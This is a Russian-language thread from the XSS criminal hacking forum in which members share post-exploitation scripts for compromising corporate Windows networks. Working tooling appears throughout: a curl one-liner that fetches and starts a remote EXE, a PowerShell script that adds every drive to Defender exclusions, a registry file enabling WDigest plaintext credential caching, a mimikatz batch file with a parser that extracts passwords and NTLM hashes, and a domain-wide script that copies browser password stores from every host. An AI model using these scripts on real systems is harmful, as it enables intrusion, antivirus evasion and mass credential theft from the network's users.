• XSS.stack #1 – первый литературный журнал от юзеров форума

Автоматизация работы в сети (список полезных скриптов)

МБ немного не сюда, но да ладно.
Как в MSF после отработки сплойта запустить свой EXE ?Если использовать windows/download_exec,windows/exec и тд то команда на запуск будет генерироваться через msfvenom и запускаться(хотя и через него не отстукивало, файл качался,запуска не было) а он палится ужасно.
Нужно использоваться
Код:
payload/generic/custom
Но и через него не получилось запускать ехе, пробовал через PAYLOADFILE
Скиньте плиз у кого работает такая схема, рабочий вариант по запуску.
 
МБ немного не сюда, но да ладно.
Как в MSF после отработки сплойта запустить свой EXE ?Если использовать windows/download_exec,windows/exec и тд то команда на запуск будет генерироваться через msfvenom и запускаться(хотя и через него не отстукивало, файл качался,запуска не было) а он палится ужасно.
Нужно использоваться
Код:
payload/generic/custom
Но и через него не получилось запускать ехе, пробовал через PAYLOADFILE
Скиньте плиз у кого работает такая схема, рабочий вариант по запуску.
upload file.exe
execute -f file.exe
 
upload file.exe
execute -f file.exe
Это для meterpreter, а не MSF.
А нужен вариант запуска своего ехе после успешной отработки сплойта, без использоваия msfvenom который генерит все что payload windows/
 
Задавал этот вопрос в соседнем треде, задам и здесь.
Какие есть нормальные сканеры локалки под линукс?
На винде самый лучший - это SoftPerfect Network Scanner, но они не собираются релизить свой софт под линукс.
Знаю, что на линукс есть Nmap, но там максимально неприятный вывод результата. Невозможно с этим работать, когда таргетов становится больше 30 штук, ибо получается ебаная мешанина.
Может кто нибудь знает сканер под линукс, либо-же скрипт под Nmap, который нормализует результат в приятный вид, с которым удобно работать? (желательно в таблицу)

Какими вы вообще инструментами пользуйтесь при пентесте с линукса?
Спасибо!
ну крекмапом можно сканить, он определяет оси получше мячика.
Код:
crackmapexec smb 192.168.0.0/24
 
Да, я знаю про cme, но там нельзя (насколько я помню), прочекать на НУЖНЫЕ порты, ибо cme работает только с некоторыми протоколами, а условно если тебе нужно найти в локалке насы? или бд? или esxi? а если DC нужно найти?
В общем штука удобная, но неполноценная.
Поднимай реверс сокс на линуксе например https://github.com/kost/revsocks
и скань с винды через него.
Под nmap есть всякие "нормализаторы" вывода, но по мне дефолтного достаточно чтобы понять что и как в сетке.
 
ну крекмапом можно сканить, он определяет оси получше мячика.
Код:
crackmapexec smb 192.168.0.0/24
Он так только найдет компы с открытым SMB
 
Задавал этот вопрос в соседнем треде, задам и здесь.
Какие есть нормальные сканеры локалки под линукс?
На винде самый лучший - это SoftPerfect Network Scanner, но они не собираются релизить свой софт под линукс.
Знаю, что на линукс есть Nmap, но там максимально неприятный вывод результата. Невозможно с этим работать, когда таргетов становится больше 30 штук, ибо получается ебаная мешанина.
Может кто нибудь знает сканер под линукс, либо-же скрипт под Nmap, который нормализует результат в приятный вид, с которым удобно работать? (желательно в таблицу)

Какими вы вообще инструментами пользуйтесь при пентесте с линукса?
Спасибо!

инструмент старый, но небесполезный
собирает все в кучу, удобно анализировать


 
Последнее редактирование:
Здравствуйте. Новичок в этом деле, раньше работал по старому вручную, теперь решил изучать новое, и новые методы работы. Имеется большая сеть с АВ на каждом хосте. Файл по сети не пустишь - заругается. Может быть есть какой-то универсальный способ убить АВ по всей сети или только все под конкретный случай?
 
Универсального способа нет.Все под конкретный АВ.Смотри в сторону виртуализации, поиска админок АВ, команд для CMD/PS для отключения АВ.
 
приветствую как сделать из онного чуда
C:\Windows\System32\cmd.exe /c cd C:\Users\Public\Downloads & curl -o 123.exe https://.../123.exe & start 123.exe
загрузку с хостинга , но чтобы не появлялась табличка разрешения на установку, может как то закатать в .bat? с отключением такого разрешения
 
Для тех кто пользуется адфайндом, сортировщик инфы на powershell

Нам нужны 2 входных файла
Код:
ad_users.txt и ad_computers.txt

Получить мы их можем с помощью adfind.exe
Код:
adfind.exe -h 10.7.10.1 -b dc=domain,dc=local -u domain.local\domainuser -up Password123! -f "(objectcategory=person)" > ad_users.txt
adfind.exe -h 10.7.10.1 -b dc=domain,dc=local -u domain.local\domainuser -up Password123!  -f "objectcategory=computer" > ad_computers.txt

кладем скрипт и текстовики в одну диру, открываем powershell и переходим в диру с файлами, запускаем через
Код:
.\Invoke-AdfindSorter.ps1

PowerShell
Код:
$filesFlag = 0;
$abf = 0;
$tmpDescription = "not found"
$tmpLogonCount = "not found"
$tmpOperationSystem = "not found"
$tmpSystemVersion = "not found"
$tmpHostname = "not found"
$winSrvCounter = 0;
$winWrkCounter = 0;
$unknownCounter = 0;

if(-not(Test-Path -Path "ad_computers.txt")){
    Write-Output "[X] ad_computers.txt file not found. ERROR"
    $filesFlag = 1;
}
if(-not(Test-Path -Path "ad_users.txt")){
    Write-Output "[X] ad_users.txt file not found. ERROR"
    $filesFlag = 1;
}
if($filesFlag -eq 1){
    return
}

Write-Output "<================>"
Write-Output "[+] Adfind Files found."
Write-Output ""

foreach($line in Get-Content .\ad_computers.txt) {
    if($line -match "dn:CN="){
        $abf++
    }

    if ($line -match "description:"){
        $tmpDescription = ($line | Select-String -Pattern ">description: (.*)").Matches.groups[1].Value
    }
    
    if ($line -match "logonCount:"){
        $tmpLogonCount = ($line | Select-String -Pattern ">logonCount: (.*)").Matches.groups[1].Value
    }

    if ($line -match "operatingSystem:"){
        $tmpOperationSystem = ($line | Select-String -Pattern ">operatingSystem: (.*)").Matches.groups[1].Value
    }

    if ($line -match "operatingSystemVersion:"){
        $tmpSystemVersion = ($line | Select-String -Pattern ">operatingSystemVersion: (.*)").Matches.groups[1].Value
    }

    if ($line -match "dNSHostName"){
        $tmpHostname = ($line | Select-String -Pattern ">dNSHostName: (.*)").Matches.groups[1].Value
        Write-Output "ID: $abf" | Out-File -Append -Encoding ascii ads_hostInfo.txt
        Write-Output "HostName: $tmpHostname" | Out-File -Append -Encoding ascii ads_hostInfo.txt
        Write-Output "OS: $tmpOperationSystem $tmpSystemVersion" | Out-File -Append -Encoding ascii ads_hostInfo.txt
        Write-Output "Description: $tmpDescription" | Out-File -Append -Encoding ascii ads_hostInfo.txt
        Write-Output "LogonCount: $tmpLogonCount" | Out-File -Append -Encoding ascii ads_hostInfo.txt
        Write-Output "#########" | Out-File -Append -Encoding ascii ads_hostInfo.txt

        if($tmpOperationSystem -match "Windows"){
            if($tmpOperationSystem -match "Windows Server"){
                $winSrvCounter++
                Write-Output $tmpHostname | Out-File -Append -Encoding ascii ads_SERVERS.txt
            }else{
                $winWrkCounter++
                Write-Output $tmpHostname | Out-File -Append -Encoding ascii ads_WORKERS.txt
            }
        } else {
            $unknownCounter++
            Write-Output $tmpHostname | Out-File -Append -Encoding ascii ads_UNKNOWN.txt
        }
            $tmpDescription = "not found"
            $tmpLogonCount = "not found"
            $tmpOperationSystem = "not found"
            $tmpSystemVersion = "not found"
            $tmpHostname = "not found"
    }
}

Write-Output "<================>"
Write-Output "[?] Total Computers in Active Directory: $abf"
Write-Output "[?] Result saved to ads_hostInfo.txt"
Write-Output ""
Write-Output "<================>"
Write-Output "[?] Total Windows Servers: $winSrvCounter"
Write-Output "[?] Result saved to ads_SERVERS.txt"
Write-Output ""
Write-Output "<================>"
Write-Output "[?] Total Windows Workstations: $winWrkCounter"
Write-Output "[?] Result saved to ads_WORKERS.txt"
Write-Output ""
Write-Output "<================>"
Write-Output "[?] Total Unknown Hosts: $unknownCounter"
Write-Output "[?] Result saved to ads_UNKNOWN.txt"

$abfU = 0;
$tmpDescriptionU = "not found"
$tmpsAMAccountNameU = "not found"

$usersCount = 0;

foreach($line in Get-Content .\ad_users.txt) {
    if($line -match "dn:"){
        $abfU++
    }

    if ($line -match "description"){
        $tmpDescriptionU = ($line | Select-String -Pattern ">description:(.*)").Matches.groups[1].Value
    }
    
    if ($line -match "sAMAccountName"){
        $tmpsAMAccountNameU = ($line | Select-String -Pattern ">sAMAccountName:(.*)").Matches.groups[1].Value

        Write-Output "login: $tmpsAMAccountNameU" | Out-File -Append -Encoding ascii ads_userInfo.txt
        Write-Output "Description: $tmpDescriptionU" | Out-File -Append -Encoding ascii ads_userInfo.txt
        Write-Output "#########" | Out-File -Append -Encoding ascii ads_userInfo.txt

        $tmpsAMAccountNameU = "not found"
        $tmpDescriptionU = "not found"
        $usersCount++
    }
}
Write-Output ""
Write-Output "<================>"
Write-Output "[?] Total Active Directory Users: $usersCount"
Write-Output "[?] Result saved to ads_userInfo.txt"
Write-Output ""
Write-Output "Exit."
Write-Output ""

На выходе получаем
Код:
ads_hostInfo.txt   # краткая инфа о всех машинах из AD , хостнейм, ос+версия, описание(если есть), логон каунт
ads_userInfo.txt   # список пользователей с их описанием
ads_SERVERS.txt   # список вин серверов в формате hostname.domain.lab
ads_WORKERS.txt   # список xp,7,8,vista,10,11 тачек в формате hostname.domain.lab
ads_UNKNOWN.txt   # список всех остальных НЕ виндовых тачек из ad_computers.txt в формате hostname.domain.lab
# по отработке скрипт выводит инфу по общему количеству тачек и юзеров найденных в файлах
 
Последнее редактирование:
Зачем дурачиться и отключать дефендер (чем вы и спалитесь) если достаточно будет добавить определённые диски в исключение сканирования дефендером? кхм


Perl:
# чекаем запуск скрипта от прав админа
if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) {
    Write-Warning "This script needs to be run as an Administrator."
    return
}

# определяем масив дисков на пк
$disks = Get-WmiObject Win32_LogicalDisk -Filter "DriveType=3" | Select-Object DeviceID

# добавляем все диски в исключения сканирования дефика
foreach ($disk in $disks) {
    $exclusionPath = "\\" + $env:COMPUTERNAME + "\" + $disk.DeviceID.TrimEnd(":") + "\*"
    Set-MpPreference -ExclusionPath $exclusionPath
    Write-Host "Added $exclusionPath to Microsoft Defender scan exclusion list."
}
 
Зачем дурачиться и отключать дефендер (чем вы и спалитесь) если достаточно будет добавить определённые диски в исключение сканирования дефендером? кхм


Perl:
# чекаем запуск скрипта от прав админа
if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) {
    Write-Warning "This script needs to be run as an Administrator."
    return
}

# определяем масив дисков на пк
$disks = Get-WmiObject Win32_LogicalDisk -Filter "DriveType=3" | Select-Object DeviceID

# добавляем все диски в исключения сканирования дефика
foreach ($disk in $disks) {
    $exclusionPath = "\\" + $env:COMPUTERNAME + "\" + $disk.DeviceID.TrimEnd(":") + "\*"
    Set-MpPreference -ExclusionPath $exclusionPath
    Write-Host "Added $exclusionPath to Microsoft Defender scan exclusion list."
}
дефендер может при запуске файлика просто прибить процесс но не тронуть файлик на диске.
 
Задавал этот вопрос в соседнем треде, задам и здесь.
Какие есть нормальные сканеры локалки под линукс?
На винде самый лучший - это SoftPerfect Network Scanner, но они не собираются релизить свой софт под линукс.
Знаю, что на линукс есть Nmap, но там максимально неприятный вывод результата. Невозможно с этим работать, когда таргетов становится больше 30 штук, ибо получается ебаная мешанина.
Может кто нибудь знает сканер под линукс, либо-же скрипт под Nmap, который нормализует результат в приятный вид, с которым удобно работать? (желательно в таблицу)

Какими вы вообще инструментами пользуйтесь при пентесте с линукса?
Спасибо!


в Armitage есть скан nmap_a в gui, вместе с vuln скриптами, удобно читается..
 
в одно из сеток нашел вот такой софт. сам особо не использовал. невидел никаких плюсов с обычным мимиком. мб кому-то пригодиться или кто то поможет разобрать код


enable_dump_pass.reg
из того что понял, устанавливает какие аутентификационные провайдеры будут использоваться и в каком порядке.
не заметил никакой разницы. возможно нужна перезагрузка, что б изминения вступили в силу.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
"Security Packages"=hex(7):6b,00,65,00,72,00,62,00,65,00,72,00,6f,00,73,00,00,\
00,6d,00,73,00,76,00,31,00,5f,00,30,00,00,00,73,00,63,00,68,00,61,00,6e,00,\
6e,00,65,00,6c,00,00,00,77,00,64,00,69,00,67,00,65,00,73,00,74,00,00,00,74,\
00,73,00,70,00,6b,00,67,00,00,00,70,00,6b,00,75,00,32,00,75,00,00,00,00,00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest]
"UseLogonCredential"=dword:00000001

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders]
"SecurityProviders"="msapsspc.dll, schannel.dll, digest.dll, msnsspc.dll, credssp.dll"


софт
в основе мимик. запускаеться батником. результат складывает в файлы. потом эти логи нужно скормить скрипту miparser.vbs. и я тут не понял что он делает.

mode con: cols=50 lines=30
color 03
cls
title Grabbing pass...
off
Grabbing pass...
Do not close this window...

cd /d %~dp0

md !logs
if %PROCESSOR_ARCHITECTURE%==AMD64 (

.\mimikatz\x64\mimikatz.exe "privilege::debug" "log .\!logs\Result.txt" "sekurlsa::logonPasswords" "token::elevate" "lsadump::sam" exit
.\mimikatz\x32\mimikatz.exe "privilege::debug" "log .\!logs\Result.txt" "sekurlsa::logonPasswords" "token::elevate" "lsadump::sam" exit

) else (.\mimikatz\x32\mimikatz.exe "privilege::debug" "log Result.txt" "sekurlsa::logonPasswords" "token::elevate" "lsadump::sam" exit)

.\mimikatz\miparser.vbs .\!logs\Result.txt


REM del mimikatz.exe /F /Q
REM del mimidrv.sys /F /Q
REM del mimilib.dll /F /Q
REM del %0


Dim IndUsers1: IndUsers1=-1
Dim ListUsers(): ReDim ListUsers(0)

Dim IndPass1: IndPass1=-1
Dim ListPasswords(): ReDim ListPasswords(0)

Dim IndNTLM1: IndNTLM1=-1
Dim ListNTLM(): ReDim ListNTLM(0)

Dim IndSHA1: IndSHA1=-1
Dim ListSHA(): ReDim ListSHA(0)

On Error Resume Next

set WshArguments=WScript.Arguments
str_LogFile = WshArguments(0)

Gl_WorkDir = Replace(WScript.ScriptFullName, WScript.ScriptName, "", 1, -1, vbTextCompare)


Set obj_FSO = CreateObject("Scripting.FileSystemObject")

If obj_FSO.FileExists(str_LogFile) Then
Set InFile = obj_FSO.OpenTextFile(str_LogFile)
End If

str_SavePath = Replace(obj_FSO.GetFile(str_LogFile), obj_FSO.GetFileName(str_LogFile), "", 1, -1, vbTextCompare)


Do While Not InFile.AtEndOfStream
Str = Replace(Replace(Replace(InFile.ReadLine, " ", ""), vbTab, ""), "*", "")
NeedAdd = True
If (InStr(1, Str, "username:", vbTextCompare) <> 0) Or (InStr(1, Str, "user:", vbTextCompare) <> 0) Then
Str = Replace(Replace(Replace(Replace(Str, "username:", ""), "Username:", ""), "UserName:", ""), "USERNAME:", "")
Str = Replace(Replace(Replace(Str, "user:", ""), "User:", ""), "USER:", "")
For IndUsers2=0 To IndUsers1
If (InStr(1, ListUsers(IndUsers2), Str, vbTextCompare) <> 0) Then
NeedAdd = False
Exit For
Else
NeedAdd = True
End If
Next
If (IndUsers1 < 0) or NeedAdd Then
If (InStr(1, Str, "null", vbTextCompare) = 0) and _
(InStr(1, Str, "$", vbTextCompare) = 0) and _
(InStr(1, Str, "defaultaccount", vbTextCompare) = 0) and _
(InStr(1, Str, "wdagutilityaccount", vbTextCompare) = 0) and _
(InStr(1, Str, "localservice", vbTextCompare) = 0) _
Then
IndUsers1=IndUsers1+1
ReDim Preserve ListUsers(IndUsers1)
ListUsers(IndUsers1) = Str
End If
End If
End If

NeedAdd = True
If (InStr(1, Str, "password:", vbTextCompare) <> 0) Then
Str = Replace(Replace(Replace(Str, "password:", ""), "Password:", ""), "PASSWORD:", "")
For IndPass2=0 To IndPass1
If (InStr(1, ListPasswords(IndPass2), Str, vbBinaryCompare) <> 0) Then
NeedAdd = False
Exit For
Else
NeedAdd = True
End If
Next
If (IndPass1 < 0) or NeedAdd Then
If (InStr(1, Str, "null", vbTextCompare) = 0) _
Then
IndPass1=IndPass1+1
ReDim Preserve ListPasswords(IndPass1)
ListPasswords(IndPass1) = Str
End If
End If
End If

NeedAdd = True
If (InStr(1, Str, "hashntlm:", vbTextCompare) <> 0) Or (InStr(1, Str, "ntlm:", vbTextCompare) <> 0) Then
Str = Replace(Replace(Replace(Replace(Str, "hashntlm:", ""), "Hashntlm:", ""), "HashNTLM:", ""), "HASHNTLM:", "")
Str = Replace(Replace(Replace(Str, "ntlm:", ""), "Ntlm:", ""), "NTLM:", "")
For IndNTLM2=0 To IndNTLM1
If (InStr(1, ListNTLM(IndNTLM2), Str, vbTextCompare) <> 0) Then
NeedAdd = False
Exit For
Else
NeedAdd = True
End If
Next
If (IndNTLM1 < 0) or NeedAdd Then
If (InStr(1, Str, "null", vbTextCompare) = 0) _
Then
IndNTLM1=IndNTLM1+1
ReDim Preserve ListNTLM(IndNTLM1)
ListNTLM(IndNTLM1) = Str
End If
End If
End If

NeedAdd = True
If InStr(1, Str, "SHA1:", vbTextCompare) <> 0 Then
Str = Replace(Replace(Replace(Str, "sha1:", ""), "Sha1:", ""), "SHA1:", "")
For IndSHA2=0 To IndSHA1
If (InStr(1, ListSHA(IndSHA2), Str, vbTextCompare) <> 0) Then
NeedAdd = False
Exit For
Else
NeedAdd = True
End If
Next
If (IndSHA1 < 0) or NeedAdd Then
If (InStr(1, Str, "null", vbTextCompare) = 0) _
Then
IndSHA1=IndSHA1+1
ReDim Preserve ListSHA(IndSHA1)
ListSHA(IndSHA1) = Str
End If
End If
End If
Loop
InFile.Close

SaveReportToSMB str_SavePath, "Users.txt", Join(ListUsers, vbCrLf)
SaveReportToSMB str_SavePath, "Passwords.txt", Join(ListPasswords, vbCrLf)
SaveReportToSMB str_SavePath, "NTLM.txt", Join(ListNTLM, vbCrLf)
SaveReportToSMB str_SavePath, "SHA.txt", Join(ListSHA, vbCrLf)





Function SaveReportToSMB(SMBPath, SMBFileName, byRef SMBText)
If Not obj_FSO.FolderExists(SMBPath) Then
MakeDirectory SMBPath
End If
If not obj_FSO.FileExists(SMBPath & SMBFileName) Then
obj_FSO.CreateTextFile(SMBPath & SMBFileName)
End If
Set OutFile = obj_FSO.OpenTextFile(SMBPath & SMBFileName, 2, True)
OutFile.WriteLine(SMBText)
OutFile.Close
SMBText = ""
End Function

Sub AddToReport(ByRef Report, ByVal Text)
Report = Report & Text
End Sub

Function MakeDirectory(ByVal Path)
Dim fso, dir
Set fso = CreateObject("Scripting.FileSystemObject")
With fso
If .FolderExists( .GetDriveName(path)) Then
dir = Path
Dim rdirs(): ReDim rdirs(-1)
Do While not .FolderExists(dir) and not .GetDriveName(dir) = dir
ReDim Preserve rdirs(ubound(rdirs) + 1)
rdirs(ubound(rdirs)) = .GetFileName(dir)
dir = .GetParentFolderName(dir)
Loop
Do While UBound(rdirs) > -1
dir = .BuildPath(dir, rdirs(ubound(rdirs)) )
.CreateFolder dir
Redim Preserve rdirs(ubound(rdirs) - 1)
Loop
MakeDirectory = True
Else
MakeDirectory = False
End If
End With
End Function

1691933688807.png

папка mimikatz
1691933762343.png


папка !logs
1691933813345.png
 
Vsem privet! reshil podelitsya svoim scriptom dlya sbora infy o polzakax so vsego domena. Ispolzovat` luchse vsego kogda uzhe est` DA (nuzhen dostup k C$:\), na etape ohoty na adminov
v papke iz kotoroy vypolnyaete skrip, nuzho polozhit serv.txt so spiskom vseh interesuyushix servakow/workstatioon (Netbios names)



C#:
$serverList = Get-Content -Path .\serv.txt
$username = 'domain.local\Administrator';
$password = 'pasa';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

$files = @(
    [Tuple]::Create('AppData\Local\Google\Chrome\User Data\Default\History', 'Chrome.sqlite'),
    [Tuple]::Create('AppData\Local\Google\Chrome\User Data\Default\Login Data', 'ChromePWD.sqlite'),
    [Tuple]::Create('AppData\Local\Microsoft\Edge\User Data\Default\History', 'Edge.sqlite')
    
    )

New-PSDrive -Name target -PSProvider FileSystem -Root "." | Out-Null


while($true){   
foreach($server in $serverList) {
       Write-Host "Starting to pocess ${server}"
try {
    New-PSDrive -Name source -PSProvider FileSystem -Root \\$server\C$ -Credential $credential | Out-Null
    $users =  Get-ChildItem source:\users -Directory 
    Write-Host $users
    foreach($user in $users) {
        #Write-Host "Starting to pocess ${user}@${server}"   
        foreach($file in $files) {
            try {
                      Write-Host source:\users\$user\$($file.item1)
                    $fname = Split-Path -Path ${file}.item2 -Leaf
                    if(Test-Path source:\users\$user\$($file.item1)){
                        # $rnd = Get-Random
                        $fn = "${server}_${user}_${fname}"
                        Write-Host "file will be saved as ${fn}"
                        Copy-Item -Path source:\users\$user\$($file.item1) -Destination $fn
                    }
                }
                catch {
                  Write-Host "An error occurred on copy:"
                      Write-Host $_
                }     
        }
        try {
                    if(Test-Path source:\users\$user\AppData\Roaming\Mozilla\Firefox\Profiles){
                         Write-Host "Found Mozzila profiles"
                          New-Item ${server}_${user}_FF_PROFILES -Type Directory
                     Get-ChildItem -Path source:\users\$user\AppData\Roaming\Mozilla\Firefox\Profiles -Recurse -Include logins.json,key4.db,cookies.sqlite,cert9.db,profile.ini,signons.sqlite | Copy-Item -Destination ${server}_${user}_FF_PROFILES   -Recurse
        }}    catch {
                  Write-Host "An error occurred on copy of FF profiles:"
                      Write-Host $_
                }     

            if(!(Test-Path "${server}_${user}_Desktop")){
                  gci -r  source:\users\$user\Desktop   | Out-File -FilePath "${server}_${user}_Desktop.txt"
             }   
            

             if(!(Test-Path "${server}_${user}_Documents"))    {
                 gci -r  source:\users\$user\Documents | Out-File -FilePath "${server}_${user}_Documents.txt"
             }

      if(!(Test-Path "${server}_${user}_Downloads"))    {
                 gci -r  source:\users\$user\Documents | Out-File -FilePath "${server}_${user}_Documents.txt"
             }
            
    }
    Remove-PSDrive source
}
catch {
  Write-Host "An error occurred on psdrive:"
  Write-Host $_
  Remove-PSDrive source
}
}

}

po vyvodu mozhno bystro ponyat, gde kto sidit, u kogo chto na rabochem stole i dokax, u kogo sohraneny paroli v chrome, i srazu poluchit vse FF paroli so vsego domena ispolzuya https://github.com/Unode/firefox_decrypt.git ili podobnye tulzy

chast` s FF pravda tupit nemnogo: `Get-ChildItem -Path source:\users\$user\AppData\Roaming\Mozilla\Firefox\Profiles -Recurse`, v powershell 5 mozhno sdelat` -maxDepth 2, no v ugodu sovmestimosti ostavil kak est`

Vsem udachnoy ohoty
 
Задавал этот вопрос в соседнем треде, задам и здесь.
Какие есть нормальные сканеры локалки под линукс?
На винде самый лучший - это SoftPerfect Network Scanner, но они не собираются релизить свой софт под линукс.
Знаю, что на линукс есть Nmap, но там максимально неприятный вывод результата. Невозможно с этим работать, когда таргетов становится больше 30 штук, ибо получается ебаная мешанина.
Может кто нибудь знает сканер под линукс, либо-же скрипт под Nmap, который нормализует результат в приятный вид, с которым удобно работать? (желательно в таблицу)

Какими вы вообще инструментами пользуйтесь при пентесте с линукса?
Спасибо!
для форти впн:
VPN_ADAPTER_NAME=$(ip route |grep -E -o "vpn[0-9A-Za-z]{1,20}"|uniq); sudo masscan -p3389,445,88,443 --open -iL ./ranges.txt -oX ./masscan_results --rate=2000 --ping --open-only --adapter $VPN_ADAPTER_NAME;
for port in 443 445 88 3389; do grep "$port" ./masscan_results |cut -d "=" -f3 |cut -d '"' -f2 > "${port}.txt"; wc -l "./${port}.txt"; done

#на выходе получаем(пример):
5 ./443.txt
7 ./445.txt
2 ./88.txt
4 ./3389.txt

#дальше можно
cme smb ./445.txt
и nmap по списку
для cisco надо заменить vpn на csco, а остальное также
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх